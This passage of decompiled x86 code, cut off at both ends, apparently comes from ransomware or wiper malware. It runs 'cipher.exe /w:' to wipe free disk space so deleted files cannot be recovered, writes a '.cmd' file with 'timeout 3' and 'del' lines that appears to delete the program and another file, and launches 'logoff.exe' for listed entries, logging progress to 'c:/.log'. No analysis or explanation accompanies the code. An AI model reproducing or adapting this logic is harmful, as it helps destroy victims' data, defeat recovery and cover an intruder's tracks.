								_v1340 = 0x10038;
								_v1348 = 0x151fa8;
								_v1332 =  &_v976;
								_v28 = 0xe;
								_t2070 = _t2505;
								_t1318 = E000772A0(_t2505, "Q", 1, 0, 1,  &_v1348);
								asm("xorps xmm0, xmm0");
								_v920 = _t1318;
								_v1348 = 0x1516bc;
								_v933 = 0;
								asm("movups [ebp-0x4fc], xmm0");
								_v1284 = 0;
								_v1280 = 0;
								asm("movups [ebp-0x4e4], xmm0");
								_v1260 = 0;
								_v1256 = 0;
								_v1252 = 0;
								_v1244 = 0;
								_push(8);
								_v28 = 0xf;
								_t2506 =  &_v933;
								_t2469 = E000ECF08(_t2506, __eflags);
								_v972 = _t2469;
								 *_t2469 = _t2506;
								 *((intOrPtr*)(_t2469 + 4)) =  &_v1300;
								_v928 = _v928 | 0x00000010;
								_v28 = 0x10;
								_t1322 = E000D6C42(_t2505, __eflags,  &_v1096);
								_t2573 = _t2569 - 8 + 0x10;
								__eflags = _t1322;
								if(__eflags != 0) {
									E000D7281(_t2061, _t2070, _t2382, _t2469, _t2506, _t1322);
									_t2573 = _t2573 + 4;
								}
								_v1464 = 1;
								_v1460 = _v1096;
								_v28 = 0x11;
								_t1325 = E000DA363(_t2070, __eflags,  &_v1092, 1);
								_t2574 = _t2573 + 8;
								__eflags = _t1325;
								if(_t1325 != 0) {
									E000D7281(_t2061, _t2070, _t2382, _t2469, _t2506, _t1325);
									_t2574 = _t2574 + 4;
								}
								_v1444 = 1;
								_v1440 = _v1092;
								_v28 = 0x12;
								_v1088 = 0;
								_t1327 = E000DA3B6(_v1092);
								_t2575 = _t2574 + 4;
								__eflags = _t1327;
								if(_t1327 != 0) {
									E000D7281(_t2061, _t2070, _t2382, _t2469, _t2506, _t1327);
									_t2575 = _t2575 + 4;
								}
								_t2507 = 0;
								_v1100 = 0x15210c;
								_v972 = 0;
								_v1084 = _t2469;
								_v28 = 0x13;
								_t1330 = E000D6DDC( &_v992, E00057810,  &_v1100);
								_t2576 = _t2575 + 0xc;
								__eflags = _t1330 - 4;
								_t2072 =  !=  ? _t1330 : 1;
								__eflags = 1;
								if(1 != 0) {
									_push(1);
									L113:
									E000D7281(_t2061, _t2072, _t2382, _t2469, _t2507);
									_t2576 = _t2576 + 4;
									while(1) {
										L114:
										__eflags = _v1088;
										if(_v1088 != 0) {
											break;
										}
										_t1880 = E000D6C94(_v1096, _v1092);
										_t2576 = _t2576 + 8;
										__eflags = _t1880;
										if(_t1880 == 0) {
											continue;
										} else {
											_push(_t1880);
											goto L113;
										}
										goto L427;
									}
									_t1331 = _v1084;
									__eflags = _t1331;
									if(_t1331 != 0) {
										_push(8);
										E000ED2D0(_t1331);
										_t2576 = _t2576 + 8;
									}
									_v28 = 0x14;
									_t2470 = _v1092;
									_v1004 = _v1096;
									_t1333 = E000DA3DB(_v1092);
									_t2577 = _t2576 + 4;
									__eflags = _t1333;
									if(_t1333 != 0) {
										E000D7281(_t2061, _t2072, _t2382, _t2470, _t2507, _t1333);
										_t2577 = _t2577 + 4;
									}
									E000DA31F(_t2072, _t2470);
									E000D6C0B(_t2072, _v1004);
									_v28 = 0x15;
									E0006DBF0(_t2061, E0006C590(0x179150, "warming up..."));
									_v956 = 0;
									_t2581 = _t2577 + 0x14;
									_v952 = 0;
									_v948 = 0;
									_v28 = 0x16;
									_t2073 = E000D6D03() + 1;
									_v960 = _t2073;
									__eflags = _t2073;
									if(_t2073 == 0) {
										L124:
										_t1339 = 0;
										__eflags = 0;
										while(1) {
											_v924 = _t1339;
											__eflags = _t1339 - _t2073;
											if(__eflags >= 0) {
												break;
											}
											_push(0x80);
											_t2507 = E000ECF08(_t2507, __eflags);
											_t2581 = _t2581 + 4;
											_v972 = _t2507;
											_v1020 = _t2507;
											_v28 = 0x17;
											E00064650(_t2507, _t2382, 0x16fbc8);
											_t2073 = _t2507 + 0x18;
											 *_t2073 = 0x151d54;
											 *(_t2073 + 4) = _t2507;
											 *(_t2073 + 0x24) = _t2073;
											_v28 = 0x19;
											_t1861 = _t2507 + 0x40;
											_v1016 = _t2507 + 0x40;
											__eflags = _t2073;
											if(__eflags == 0) {
												goto L321;
											} else {
												_t2313 = _t2073 + 4;
												E0005AF90(_t2061, _t2073 + 4, 0, _t1861);
												_v928 = _v928 | 0x00000fe0;
												 *(_t2507 + 0x60) = 0;
												 *(_t2507 + 0x64) = 0;
												 *(_t2507 + 0x78) = 0;
												 *(_t2507 + 0x7c) = 0xf;
												 *((char*)(_t2507 + 0x68)) = 0;
												_v932 = _t2507;
												_v28 = 0x1a;
												__eflags = _v948;
												if(_v948 == 0) {
													_push( &_v932);
													_push(0);
													_t2313 =  &_v956;
													E0006E270(_t2061,  &_v956);
													_t2507 = _v932;
													_t2475 = _v952;
												} else {
													_t2507 = 0;
													 *0x00000000 = _v972;
													_t2475 = 4;
													_v952 = 4;
												}
												_v28 = 0x16;
												__eflags = _t2507;
												if(__eflags != 0) {
													_v1372 = 0;
													_v1368 = 0;
													_v1364 = 0x1522a0;
													_v28 = 0x1b;
													E000AA990(_t2313, _t2553, __eflags, _t2507,  &_v1372);
													_t2647 = _t2581 + 8;
													_v28 = 0x16;
													E00060F60(_t2061, _t2507 + 0x68, _t2475);
													E000564C0(_t2507 + 0x40);
													_t2316 =  *(_t2507 + 0x3c);
													_t1871 = _t2507 + 0x18;
													__eflags = _t2316;
													if(_t2316 != 0) {
														__eflags = _t2316 - _t1871;
														if(_t2316 != _t1871) {
															_push(8);
															E000ED2D0(_t2316);
															_t2647 = _t2647 + 8;
															_t1871 = _t2507 + 0x18;
														}
														 *(_t1871 + 0x24) = 0;
													}
													E00054B10(_t2061, _t2507, _t2475, _t2507);
													_push(0x80);
													E000ED2D0(_t2507);
													_t2581 = _t2647 + 8;
												}
												_t2073 = _v960;
												_t1339 = _v924 + 1;
												continue;
											}
											goto L427;
										}
										_t1340 = E000D708E();
										asm("adc edx, 0x0");
										_t1342 = E000ED610(_t1340 + 0x2faf080, _t2382, 0x64, 0);
										_t2508 = _t2382;
										_t2472 = _t1342;
										_v1128 = E000ED560(_t2472, _t2508, 0x3b9aca00, 0);
										_v1124 = _t2382;
										_v1120 = _t2472 - E000ED610(_t1343, _t2382, 0x3b9aca00, 0);
										asm("movups xmm0, [ebp-0x450]");
										asm("sbb esi, edx");
										_v1324 = _t2508;
										asm("movups [ebp-0x258], xmm0");
										E000D6D6B(_t2073, _t2382, _t2508,  &_v624);
										_t2581 = _t2581 + 4;
										_v944 = 0;
										_v940 = 0;
										_v944 = E0006BC20();
										_v28 = 0x1c;
										asm("movsd xmm0, [0x153128]");
										asm("movsd [ebp-0x5b8], xmm0");
										asm("xorps xmm0, xmm0");
										_v984 = 0;
										asm("movsd [ebp-0x518], xmm0");
										while(1) {
											L138:
											_t2474 = ReleaseMutex;
											_t2509 = GetLastError;
											while(1) {
												L139:
												E00063B80( &_v1300,  &_v968, __eflags,  &_v1300);
												__eflags = _v1256;
												_v913 = _v1256 == 0;
												_v28 = 0x1d;
												_t2075 = _v968;
												asm("lock xadd [ecx], eax");
												__eflags = 0;
												if(0 == 0) {
													__eflags = 0x80000000 - 0x80000000;
													if(0x80000000 > 0x80000000) {
														asm("lock bts dword [ecx], 0x1e");
														if(0x80000000 >= 0x80000000) {
															SetEvent(E00058630(_t2075, _t2474, _t2509));
														}
													}
												}
												_v28 = 0x1c;
												__eflags = _v913;
												if(_v913 == 0) {
													goto L213;
												}
												L144:
												__eflags = _v933;
												if(_v933 == 0) {
													goto L213;
												} else {
													asm("xorps xmm0, xmm0");
													_push( &_v1436);
													asm("movlpd [ebp-0x584], xmm0");
													E00094790(_t2061,  &_v980, _t2382, _t2474, _t2509,  &_v1316);
													__eflags = _v1312;
													_t1705 = _v920;
													 *(_t1705 + 4) = 0;
													 *((char*)(_t1705 + 8)) = 0;
													 *((char*)(_t1705 + 0x10007)) = 1;
													if(_v1312 == 0) {
														_t1854 = _v1316;
														__eflags = _t1854;
														if(_t1854 != 0) {
															_t1855 =  *_t2474( *_t1854);
															__eflags = _t1855;
															if(_t1855 == 0) {
																 *_t2509();
															}
														}
													}
													_t2525 = _v956;
													_t2482 = _v952;
													while(1) {
														__eflags = _t2525 - _t2482;
														if(_t2525 == _t2482) {
															break;
														}
														E000565E0(_t2061,  *_t2525 + 0x40, _t2382);
														_t2525 = _t2525 + 4;
													}
													L0005CF80(_t2061,  &_v1140, _t2482);
													_t2232 = _v1140;
													_t1707 = _t2232;
													_t2394 = _v1136;
													_t2483 = _v928;
													_v932 = _t2232;
													_v924 = _t2394;
													while(1) {
														__eflags = _t1707 - _t2394;
														if(_t1707 == _t2394) {
															break;
														}
														_v28 = 0x3b;
														_t2486 = _t2483 | 0x00002000;
														_t2291 =  *(_t1707 + 0x10);
														_v360 = 0;
														_v356 = 0xf;
														_v376 = 0;
														_v928 = _t2486;
														__eflags = _t2291;
														if(_t2291 != 0) {
															__eflags =  *((intOrPtr*)(_t1707 + 0x14)) - 8;
															_t2394 = _t1707;
															if(__eflags >= 0) {
																_t2394 =  *_t1707;
															}
															_t2309 = _t2394 + _t2291 * 2;
															_v968 = _t1707;
															_v972 = _t2394 + _t2291 * 2;
															if(__eflags < 0) {
																_t2525 = _v968;
															} else {
																_t2525 =  *_t1707;
															}
															_push(L000ABB20(_t2061, _t2309));
															_push( &_v376);
															_push(_v972);
															_push(_t2525);
															E000AB400(_t2061, _t2486, _t2525);
															_t2581 = _t2581 + 0x10;
														}
														_v432 = 0;
														_v428 = 7;
														_v448 = 0;
														_v28 = 0x3c;
														_push(0xa);
														_v456 = 0;
														_v452 = 0xf;
														_v472 = 0;
														E00068B90( &_v472, _t2394, _t2525, "cipher.exe");
														_v28 = 0x3d;
														E00073790( &_v472,  &_v448);
														E00060F60(_t2061,  &_v472, _t2486);
														_v28 = 0x3e;
														L00057930(_t2061,  &_v1080, _t2486);
														_v28 = 0x3f;
														_push( &_v1080);
														E00057BC0(_t2061,  &_v648,  &_v448, _t2486);
														_t2297 = _v1080;
														_t2487 = _t2486 | 0x00004000;
														_t2623 = _t2581 + 4;
														_v928 = _t2487;
														__eflags = _t2297;
														if(_t2297 != 0) {
															_push(_t2297);
															E000709A0(_t2061, _t2297, _v1076);
															_t2623 = _t2623 + 4;
															__eflags = (0x2aaaaaab * (_v1072 - _v1080) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v1072 - _v1080) >> 0x20 >> 2);
															E0006A1B0(_t2061, _t2487, _v1080, (0x2aaaaaab * (_v1072 - _v1080) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v1072 - _v1080) >> 0x20 >> 2));
															_v1080 = 0;
															_v1076 = 0;
															_v1072 = 0;
														}
														_v28 = 0x40;
														_t1833 = E00056DE0( &_v864,  &_v376);
														_t2525 = _t1833;
														_v28 = 0x41;
														_t1834 = E00076270( &_v744, "/w:");
														_push(0x1522b0);
														_push(_t1833);
														_push(_t1834);
														_v28 = 0x42;
														E0007BD50( &_v1576,  &_v648, _t2487, _t1833);
														_t2581 = _t2623 + 0xc;
														E00054B10(_t2061,  &_v744, _t2487, _t1833);
														E00054B10(_t2061,  &_v864, _t2487, _t1833);
														_v1552 = 0;
														E000564C0( &_v1576);
														E00054B10(_t2061,  &_v648, _t2487, _t1833);
														E00054B10(_t2061,  &_v448, _t2487, _t1833);
														_t2483 = _t2487 & 0xffffdfff | 0x00008000;
														E00060F60(_t2061,  &_v376, _t2483);
														_v28 = 0x39;
														_t2394 = _v924;
														_t1707 = _v932 + 0x18;
														_t2232 = _v1140;
														_v932 = _t1707;
													}
													_v28 = 0x1c;
													__eflags = _t2232;
													if(_t2232 != 0) {
														_push(_t2232);
														E000709A0(_t2061, _t2232, _v1136);
														_t2525 = _v1140;
														_t2581 = _t2581 + 4;
														_t2232 = _v1132 - _v1140;
														_t2394 = 0x2aaaaaab * (_v1132 - _v1140) >> 0x20 >> 2;
														__eflags = (0x2aaaaaab * (_v1132 - _v1140) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v1132 - _v1140) >> 0x20 >> 2);
														E0006A1B0(_t2061, _t2483, _v1140, (0x2aaaaaab * (_v1132 - _v1140) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v1132 - _v1140) >> 0x20 >> 2));
													}
													_t1708 = _v988;
													__eflags = _t1708;
													if(__eflags == 0) {
														E000D72AE(_t2061, _t2232, _t2394, _t2483, _t2525, __eflags, 1);
														_t1708 = _v988;
														_t2581 = _t2581 + 4;
														__eflags = _t1708;
														if(__eflags == 0) {
															_t1708 = E000D72AE(_t2061, _t2232, _t2394, _t2483, _t2525, __eflags, 1);
															_t2581 = _t2581 + 4;
														}
													}
													L000D6D18();
													_t2233 = _v988;
													__eflags = _v988 - _t1708;
													if(__eflags == 0) {
														E000D72AE(_t2061, _t2233, _t2394, _t2483, _t2525, __eflags, 5);
														_t2233 = _v988;
														_t2581 = _t2581 + 4;
													}
													_t1709 = E000D6D1E(_t2233, _v992, _t2233, 0);
													_t2600 = _t2581 + 0xc;
													__eflags = _t1709;
													if(__eflags != 0) {
														E000D72AE(_t2061, _t2233, _t2394, _t2483, _t2525, __eflags, 2);
														_t2600 = _t2600 + 4;
													}
													_v992 = 0;
													_v988 = 0;
													E000938B0(_t2233, _t2394);
													__eflags =  *0x17a480;
													if( *0x17a480 != 0) {
														_v1504 = 0x17a4f8;
														_t1807 = E000DA3B6(0x17a4f8);
														_t2619 = _t2600 + 4;
														__eflags = _t1807;
														if(__eflags != 0) {
															E000D7281(_t2061, _t2233, _t2394, _t2483, _t2525, _t1807);
															_t2619 = _t2619 + 4;
														}
														_v28 = 0x44;
														E00064C00( &_v1808, __eflags, "c:/.log", 0xc);
														_v28 = 0x45;
														E0006DBF0(_t2061, E0006C590( &_v1808, "done."));
														E00060FB0( &_v1808);
														_v28 = 0x46;
														_t1813 = E000DA3DB(0x17a4f8);
														_t2600 = _t2619 - 8 + 0x10;
														__eflags = _t1813;
														if(_t1813 != 0) {
															E000D7281(_t2061,  &_v1808, _t2394, _t2483, _t2525, _t1813);
															_t2600 = _t2600 + 4;
														}
														_v28 = 0x1c;
													}
													_t1712 = E00054A80( &_v720);
													_v28 = 0x47;
													_t1714 = E0006CB00( &_v888, _t1712, ".cmd");
													_t2601 = _t2600 + 0xc;
													_v28 = 0x48;
													__eflags =  *((intOrPtr*)(_t1714 + 0x14)) - 0x10;
													if(__eflags >= 0) {
														_t1714 =  *_t1714;
													}
													E00064C00( &_v1984, __eflags, _t1714, 2);
													E00060F60(_t2061,  &_v888, _t2483);
													_v28 = 0x4b;
													E00060F60(_t2061,  &_v720, _t2483);
													_t1719 = E0006C590( &_v1984, "timeout 3\ndel ");
													_t2603 = _t2601 - 8 + 8;
													_t2526 = _t1719;
													_t1721 = E00054A80( &_v912);
													_v28 = 0x4c;
													__eflags =  *((intOrPtr*)(_t1721 + 0x14)) - 0x10;
													_t2239 =  *((intOrPtr*)(_t1721 + 0x10));
													if( *((intOrPtr*)(_t1721 + 0x14)) >= 0x10) {
														_t1721 =  *_t1721;
													}
													_t1723 = E0006C590(E000739C0(_t2526, _t1721, _t2239), "\ndel ");
													_t2605 = _t2603 + 0x14;
													_t2527 = _t1723;
													_t1725 = E00054A80( &_v768);
													_v28 = 0x4d;
													__eflags =  *((intOrPtr*)(_t1725 + 0x14)) - 0x10;
													_t2241 =  *((intOrPtr*)(_t1725 + 0x10));
													if( *((intOrPtr*)(_t1725 + 0x14)) >= 0x10) {
														_t1725 =  *_t1725;
													}
													E0006DBF0(_t2061, E0006C590(E000739C0(_t2527, _t1725, _t2241), ".cmd"));
													E00060F60(_t2061,  &_v768, _t2483);
													E00060F60(_t2061,  &_v912, _t2483);
													_v28 = 0x1c;
													E00060FB0( &_v1984);
													E00052CD0(_t2061,  &_v1108, _t2394, _t2483, _t2527);
													_t1734 = E00054A80( &_v816);
													_v28 = 0x4e;
													_t1736 = E0006CB00( &_v792, _t1734, ".cmd");
													_v28 = 0x4f;
													E0007C0C0( &_v1604, _t1736,  &_v1108, 0x1522b0);
													_t2610 = _t2605 + 0x2c;
													_v1580 = 0;
													_t2484 = _t2483 | 0x00010000;
													E000564C0( &_v1604);
													E00060F60(_t2061,  &_v792, _t2484);
													_v28 = 0x1c;
													E00060F60(_t2061,  &_v816, _t2484);
													_t2382 = _v1108;
													__eflags = _t2382;
													if(_t2382 != 0) {
														_t2284 = _v1104;
														_t2382 =  &_v400;
														 *((intOrPtr*)( *_v1104 + 8))( &_v400, _t2382);
														_t2484 = _t2484 | 0x00020000;
														_v28 = 0x50;
														__eflags =  *0x17a480;
														if( *0x17a480 != 0) {
															_v1024 = 0x17a4f8;
															_t1796 = E000DA3B6(0x17a4f8);
															_t2615 = _t2610 + 4;
															__eflags = _t1796;
															if(__eflags != 0) {
																E000D7281(_t2061, _t2284,  &_v400, _t2484, _t2527, _t1796);
																_t2615 = _t2615 + 4;
															}
															_v28 = 0x51;
															E00064C00( &_v2160, __eflags, "c:/.log", 0xc);
															_v28 = 0x52;
															__eflags = _v380 - 0x10;
															_t1799 =  >=  ? _v400 :  &_v400;
															E0006DBF0(_t2061, E000739C0( &_v2160,  >=  ? _v400 :  &_v400, _v384));
															E00060FB0( &_v2160);
															_v28 = 0x53;
															_t1804 = E000DA3DB(0x17a4f8);
															_t2610 = _t2615 - 8 + 0x14;
															__eflags = _t1804;
															if(_t1804 != 0) {
																E000D7281(_t2061,  &_v2160, _t2382, _t2484, _t2527, _t1804);
																_t2610 = _t2610 + 4;
															}
														}
														E00060F60(_t2061,  &_v400, _t2484);
													}
													_t2528 = _v1224;
													_t1741 = E001042A5(_t2484, 0x173d38, 0x1796a8);
													_t2611 = _t2610 + 8;
													_v1124 = 4;
													_v1120 = 0x10038;
													_v1116 = _t1741;
													_v1128 = 0x152118;
													_v28 = 0x54;
													__eflags = "Q" - 0xffffffff;
													if("Q" != 0xffffffff) {
														_push(_v1024);
														_push( &_v1128);
														_push(_t2528 + 0x30);
														_push("Q");
													} else {
														_t1792 = E001042A5(_t2484, 0x173d38, 0x1796a8);
														_t2611 = _t2611 + 8;
														_t2382 = _t2528 + 0x40;
														_push(_v1024);
														_push( &_v1128);
														_push(_t2528 + 0x40);
														_push(_t1792);
													}
													E0007C320(_t2528);
													_v28 = 0x1c;
													E000958D0( &_v1384);
													_v28 = 0x55;
													_t1747 = _v1380;
													_t2507 = _v1384;
													_v968 = _t1747;
													while(1) {
														_v924 = _t2507;
														__eflags = _t2507 - _t1747;
														if(_t2507 == _t1747) {
															break;
														}
														_t2396 =  *_t2507;
														_t1772 = E000735D0( &_v79,  *_t2507);
														_t2267 =  &_v79;
														_v408 = 0;
														_v404 = 0xf;
														_v424 = 0;
														__eflags = _t1772 - _t2267;
														if(_t1772 != _t2267) {
															_t2282 = _t2267 - _t1772;
															__eflags = _t2282;
															_push(_t2282);
															_t2267 =  &_v424;
															E00068B90(_t2267, _t2396, _t2507, _t1772);
														}
														_push(_t2267);
														_v28 = 0x56;
														E0006CE80( &_v672, "logoff.exe");
														_v28 = 0x57;
														L00057930(_t2061,  &_v1048, _t2484);
														_v28 = 0x58;
														_push( &_v1048);
														E00057BC0(_t2061,  &_v696,  &_v672, _t2484);
														_t2271 = _v1048;
														_t2614 = _t2611 + 4;
														__eflags = _t2271;
														if(_t2271 != 0) {
															_push(_t2271);
															E000709A0(_t2061, _t2271, _v1044);
															_t2614 = _t2614 + 4;
															__eflags = (0x2aaaaaab * (_v1040 - _v1048) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v1040 - _v1048) >> 0x20 >> 2);
															E0006A1B0(_t2061, _t2484, _v1048, (0x2aaaaaab * (_v1040 - _v1048) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v1040 - _v1048) >> 0x20 >> 2));
															_t2507 = _v924;
															_v1048 = 0;
															_v1044 = 0;
															_v1040 = 0;
														}
														_v28 = 0x59;
														_t1777 = E00056DE0( &_v840,  &_v424);
														_push(0x1522b0);
														_v28 = 0x5a;
														_push( &_v1108);
														_push(_t1777);
														_t2382 =  &_v696;
														E0007BA30( &_v1632,  &_v696, _t2484, _t2507);
														_t2611 = _t2614 + 0xc;
														_t2484 = _t2484 | 0x003c0000;
														E00054B10(_t2061,  &_v840, _t2484, _t2507);
														_v1608 = 0;
														E000564C0( &_v1632);
														E00054B10(_t2061,  &_v696, _t2484, _t2507);
														E00054B10(_t2061,  &_v672, _t2484, _t2507);
														_v28 = 0x55;
														E00060F60(_t2061,  &_v424, _t2484);
														_t1747 = _v968;
														_t2507 = _t2507 + 4;
													}
													E00062B40(_t2061,  &_v1384, _t2484);
													_t2073 =  &_v944;
													E00069370(_t2061,  &_v944, _t2484, _t2507,  &_v1508, _v944->nLength, _v944);
													_push(0x38);
													E000705E0(_t2061, _t2484, _v944);
													_t2475 = _v956;
													_t2581 = _t2611 + 8;
													__eflags = _t2475;
													if(_t2475 != 0) {
														_t2507 = _t2475;
														__eflags = _t2507 - _v952;
														while(_t2507 != _v952) {
															_t2073 = _t2507;
															E000628F0(_t2061, _t2507);
															_t2507 = _t2507 + 4;
															__eflags = _t2507 - _v952;
														}
														__eflags = _v948 - _t2475;
														E00069580(_t2061, _t2475, _t2507, _t2475, _v948 - _t2475 >> 2);
													}
													_v28 = 0xf;
													__eflags = _v988;
													if(__eflags != 0) {
														goto L322;
													} else {
														_v28 = 0x5b;
														E00063B80( &_v1300,  &_v1232, __eflags,  &_v1300);
														_v913 = _v1244;
														_v28 = 0x5c;
														E00058600();
														_v28 = 0x5b;
														__eflags = _v913;
														if(__eflags == 0) {
															E00063B80( &_v1300,  &_v1236, __eflags,  &_v1300);
															_v1244 = 1;
															_v28 = 0x5d;
															E00058600();
															E00058960();
														}
														E0006E230(_t2061,  &_v1300);
														E000642D0( &_v1224);
														_t2061 = _v44;
														goto L210;
													}
												}
												goto L427;
												L213:
												_t2507 = _v956;
												_t2475 = _v952;
												asm("o16 nop [eax+eax]");
												while(1) {
													__eflags = _t2507 - _t2475;
													if(_t2507 == _t2475) {
														break;
													}
													L0005B1B0(_t2061,  *_t2507, _t2475);
													_t2507 = _t2507 + 4;
												}
												_t1351 = WaitForSingleObject(_v980, 0x32);
												__eflags = _t1351 - 0x80;
												if(_t1351 == 0x80) {
													goto L323;
												} else {
													_v928 = _v928 | 0x00001000;
													_v1184 =  &_v980;
													_v1180 = _t1351;
													_v28 = 0x1e;
													__eflags = _t1351;
													if(__eflags == 0) {
														while(1) {
															L219:
															_t1515 = _v920;
															_t2138 =  *((intOrPtr*)(_t1515 + 0x10028));
															_t2382 = _v920;
															asm("sbb esi, esi");
															_t2524 =  ~( *((intOrPtr*)(_t1515 + 0x10018)) - 1) & _t1515 + 0x00010018 +  *((intOrPtr*)(_t1515 + 0x10018));
															asm("sbb ecx, ecx");
															__eflags = ( ~(_t2138 - 1) & _t2382 + 0x00010028 + _t2138) - _t2524;
															if(( ~(_t2138 - 1) & _t2382 + 0x00010028 + _t2138) == _t2524) {
																break;
															}
															_t2493 =  &_v1240;
															asm("sbb ecx, ecx");
															asm("movq xmm0, [ecx]");
															_v932 =  *((intOrPtr*)(( ~( *((intOrPtr*)(_t2382 + 0x10018)) - 1) & _t2382 + 0x00010018 +  *((intOrPtr*)(_t2382 + 0x10018))) + 8));
															asm("movq [ebp-0x55c], xmm0");
															asm("sbb eax, eax");
															_t2181 =  *((intOrPtr*)(_t2382 + 0x10020)) + ( ~( *((intOrPtr*)(_t2382 + 0x10020)) - 1) & _t2382 + 0x00010020 - _t2493);
															_t2475 = _v952;
															__eflags = _t2181 - 0xd;
															_t1604 =  ==  ? 0 : _t2493 -  &_v1000;
															_t2418 = _v920;
															_t1605 = ( ==  ? 0 : _t2493 -  &_v1000) + 0xfffffff4;
															_t2182 = _t2181 + ( ==  ? 0 : _t2493 -  &_v1000) + 0xfffffff4;
															asm("sbb ecx, ecx");
															__eflags = _t2524 - ( ~(_t2182 - 1) &  &_v1000 + _t2182);
															if(_t2524 == ( ~(_t2182 - 1) &  &_v1000 + _t2182)) {
																_t2537 = _v920;
																_t2494 = _t2537 + 0x1001c;
																_v1000 = _t2494;
																asm("sbb ecx, ecx");
																_v924 =  *((intOrPtr*)(_t2537 + 0x1001c)) + ( ~( *((intOrPtr*)(_t2537 + 0x1001c)) - 1) & _t2494 -  &_v924);
																_v28 = 0x1f;
																asm("sbb ecx, ecx");
																asm("sbb edx, edx");
																E0006C550( ~( *((intOrPtr*)(_t2537 + 0x1000c)) - 1) & _t2537 + 0x0001000c +  *((intOrPtr*)(_t2537 + 0x1000c)),  ~( *((intOrPtr*)(_t2537 + 0x1001c)) + ( ~( *((intOrPtr*)(_t2537 + 0x1001c)) - 1) & _t2494 -  &_v924) - 1) &  &_v924 +  *((intOrPtr*)(_t2537 + 0x1001c)) + ( ~( *((intOrPtr*)(_t2537 + 0x1001c)) - 1) & _t2494 -  &_v924));
																_v28 = 0x1e;
																asm("sbb eax, eax");
																asm("sbb ecx, ecx");
																 *_t2581 = ( &_v964 - _t2581 &  ~( *((intOrPtr*)(_v920 + 0x10024)) + 4 + ( ~( *((intOrPtr*)(_v920 + 0x10024)) - 1) & _v920 + 0x00010024 -  &_v964) - 1)) +  *((intOrPtr*)(_v920 + 0x10024)) + 4 + ( ~( *((intOrPtr*)(_v920 + 0x10024)) - 1) & _v920 + 0x00010024 -  &_v964);
																_t2539 = _v920;
																E00069870(_t2539 + 0x10018,  ~( *((intOrPtr*)(_t2537 + 0x1000c)) - 1) & _t2537 + 0x0001000c +  *((intOrPtr*)(_t2537 + 0x1000c)));
																_t2475 = _v952;
																asm("sbb eax, eax");
																_t1626 = ( ~( *_v1000 - 1) & 0x00000004) +  *_v1000;
																__eflags = _t1626;
																 *(_t2539 + 0x10018) = _t1626;
															} else {
																 *((intOrPtr*)(_t2418 + 0x10018)) =  *((intOrPtr*)(_t2418 + 0x10018)) + 0xc;
															}
															_t2429 = _v944;
															_t1627 =  *((intOrPtr*)(_t2429 + 4));
															__eflags =  *((char*)(_t1627 + 0xd));
															if( *((char*)(_t1627 + 0xd)) != 0) {
																L231:
																_t2541 = _t2429;
															} else {
																_t2227 = _v1396;
																do {
																	__eflags =  *((intOrPtr*)(_t1627 + 0x10)) - _t2227;
																	if( *((intOrPtr*)(_t1627 + 0x10)) >= _t2227) {
																		_t2541 = _t1627;
																		_t1627 =  *_t1627;
																	} else {
																		_t1627 =  *((intOrPtr*)(_t1627 + 8));
																	}
																	__eflags =  *((char*)(_t1627 + 0xd));
																} while ( *((char*)(_t1627 + 0xd)) == 0);
																__eflags = _t2541 - _t2429;
																if(_t2541 == _t2429) {
																	goto L231;
																} else {
																	__eflags = _t2227 -  *((intOrPtr*)(_t2541 + 0x10));
																	if(_t2227 <  *((intOrPtr*)(_t2541 + 0x10))) {
																		goto L231;
																	}
																}
															}
															__eflags = _t2541 - _t2429;
															if(_t2541 != _t2429) {
																__eflags = _v1392;
																_t1628 = _v956;
																if(_v1392 == 0) {
																	_t2430 = _v932;
																	while(1) {
																		__eflags = _t1628 - _t2475;
																		if(_t1628 == _t2475) {
																			goto L219;
																		}
																		_t2198 =  *_t1628;
																		__eflags =  *((intOrPtr*)(_t2198 + 0x48)) - _t2430;
																		if( *((intOrPtr*)(_t2198 + 0x48)) != _t2430) {
																			_t1628 = _t1628 + 4;
																			continue;
																		} else {
																			_t2542 = _t2541 + 0x18;
																			_t2199 = _t2198 + 0x68;
																			__eflags = _t2198 + 0x68 - _t2542;
																			if(_t2198 + 0x68 != _t2542) {
																				__eflags =  *((intOrPtr*)(_t2542 + 0x14)) - 0x10;
																				_t1629 =  *((intOrPtr*)(_t2542 + 0x10));
																				if( *((intOrPtr*)(_t2542 + 0x14)) >= 0x10) {
																					_t2542 =  *_t2542;
																				}
																				_push(_t1629);
																				E00068B90(_t2199, _t2430, _t2542, _t2542);
																			}
																			goto L219;
																		}
																		goto L307;
																	}
																} else {
																	__eflags = _t1628 - _t2475;
																	if(_t1628 != _t2475) {
																		_t2429 = _v932;
																		while(1) {
																			_t2226 =  *_t1628;
																			__eflags =  *((intOrPtr*)(_t2226 + 0x48)) - _t2429;
																			if( *((intOrPtr*)(_t2226 + 0x48)) == _t2429) {
																				break;
																			}
																			_t1628 = _t1628 + 4;
																			__eflags = _t1628 - _t2475;
																			if(_t1628 != _t2475) {
																				continue;
																			} else {
																			}
																			goto L242;
																		}
																		__eflags =  *((intOrPtr*)(_t2226 + 0x7c)) - 0x10;
																		_t1697 = _t2226 + 0x68;
																		if( *((intOrPtr*)(_t2226 + 0x7c)) >= 0x10) {
																			_t1697 =  *((intOrPtr*)(_t2226 + 0x68));
																		}
																		 *(_t2226 + 0x78) = 0;
																		 *_t1697 = 0;
																	}
																	L242:
																	__eflags = _v1392 - 1;
																	if(__eflags == 0) {
																		asm("lock xadd [ecx], eax");
																		_v1028 = _t2541 + 0x18;
																		E00063B80( &_v1300,  &_v1148, __eflags,  &_v1300);
																		_v1012 = _v1256;
																		_v28 = 0x25;
																		_t2202 = _v1148;
																		asm("lock xadd [ecx], eax");
																		__eflags = 0;
																		if(0 == 0) {
																			__eflags = 0x80000000 - 0x80000000;
																			if(0x80000000 > 0x80000000) {
																				asm("lock bts dword [ecx], 0x1e");
																				if(0x80000000 >= 0x80000000) {
																					SetEvent(E00058630(_t2202, _t2475, _t2541));
																				}
																			}
																		}
																		_v28 = 0x1e;
																		__eflags =  *0x17a480;
																		_v996 = _v940 - 1;
																		if( *0x17a480 != 0) {
																			_v1176 = 0x17a4f8;
																			_t1641 = E000DA3B6(0x17a4f8);
																			_t2632 = _t2581 + 4;
																			__eflags = _t1641;
																			if(__eflags != 0) {
